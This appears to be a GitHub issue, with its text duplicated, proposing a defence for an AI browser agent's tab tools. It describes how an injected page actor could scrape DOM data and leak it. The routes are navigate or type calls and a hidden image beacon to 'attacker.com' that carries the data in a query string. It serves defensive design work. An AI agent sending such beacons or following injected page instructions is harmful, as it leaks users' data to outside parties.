You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Problem: a page-level exfil channel no peerd control sees
Three egress layers exist today — the PreToolUse egressAllowlistHook (tools/hooks/defaults/egress-allowlist.js), the hard safeFetch floor (peerd-egress/fetch/safe-fetch.js), and the gate chain (gates.jsoriginGate). But all three operate at the agent's own fetch layer, and:
the egress hook explicitly exempts every primitive:'tab' tool (if (tool?.primitive === 'tab') return {action:'allow'}),
the web actor is keyless (spawn.js strips getSecret/safeFetch), so the allowlist path doesn't apply to it anyway,
there is no webRequest / declarativeNetRequest interception (confirmed: zero matches in service-worker.js).
So an injected actor that scrapes DOM data and then issues a hidden '<img src="https://attacker.com/?data=…">' beacon — or is steered via navigate/type/a form target — fires a browser-level request that no peerd egress control inspects. snapshot/read_page reading the DOM followed by a navigate/type acting on it is exactly the unmonitored DOM-data→URL path.
The fix
Extend the PreToolUse firewall to inspect tab-tool arguments — the exact tools the current hook skips:
navigate URLs — block DOM-data→query-string concatenation shapes (data appended to an off-origin URL).
type / form-fill values and submit targets — block exfil-shaped payloads.
and/or add a declarativeNetRequest layer for page-emitted requests, since fetch-level hooks structurally cannot see them (the <img> beacon).
Fail-closed: a heuristic hit terminates the actor heap + audits (mirrors the egress hook's fail-closed posture).
Functional-core: a pure heuristics module (URL/arg shape → allow/block + reason) the thin hook calls; tests pin the beacon and URL-concat shapes plus legitimate-navigation false-positive avoidance.
Open questions
declarativeNetRequest (sees page requests, needs the permission + store review) vs. arg-inspection only (no new permission, misses page-initiated <img>). Likely both, staged: arg-inspection first (no manifest change), DNR as a follow-up.
Heuristic tuning — DOM-data→URL is the signal; avoid breaking "read the GitHub README then navigate to a link in it" (legitimate).
Security-boundary arc, item 3 of 4. Sibling issues: #241 (deterministic-schema return), #242 (UGC downscaling), CDR + tainting.
Problem: a page-level exfil channel no peerd control sees
Three egress layers exist today — the PreToolUse
egressAllowlistHook(tools/hooks/defaults/egress-allowlist.js), the hardsafeFetchfloor (peerd-egress/fetch/safe-fetch.js), and the gate chain (gates.jsoriginGate). But all three operate at the agent's own fetch layer, and:primitive:'tab'tool (if (tool?.primitive === 'tab') return {action:'allow'}),spawn.jsstripsgetSecret/safeFetch), so the allowlist path doesn't apply to it anyway,webRequest/declarativeNetRequestinterception (confirmed: zero matches inservice-worker.js).So an injected actor that scrapes DOM data and then issues a hidden
'<img src="https://attacker.com/?data=…">'beacon — or is steered vianavigate/type/a form target — fires a browser-level request that no peerd egress control inspects.snapshot/read_pagereading the DOM followed by anavigate/typeacting on it is exactly the unmonitored DOM-data→URL path.The fix
Extend the PreToolUse firewall to inspect tab-tool arguments — the exact tools the current hook skips:
navigateURLs — block DOM-data→query-string concatenation shapes (data appended to an off-origin URL).type/ form-fill values and submit targets — block exfil-shaped payloads.declarativeNetRequestlayer for page-emitted requests, since fetch-level hooks structurally cannot see them (the<img>beacon).Functional-core: a pure heuristics module (URL/arg shape → allow/block + reason) the thin hook calls; tests pin the beacon and URL-concat shapes plus legitimate-navigation false-positive avoidance.
Open questions
declarativeNetRequest(sees page requests, needs the permission + store review) vs. arg-inspection only (no new permission, misses page-initiated<img>). Likely both, staged: arg-inspection first (no manifest change), DNR as a follow-up.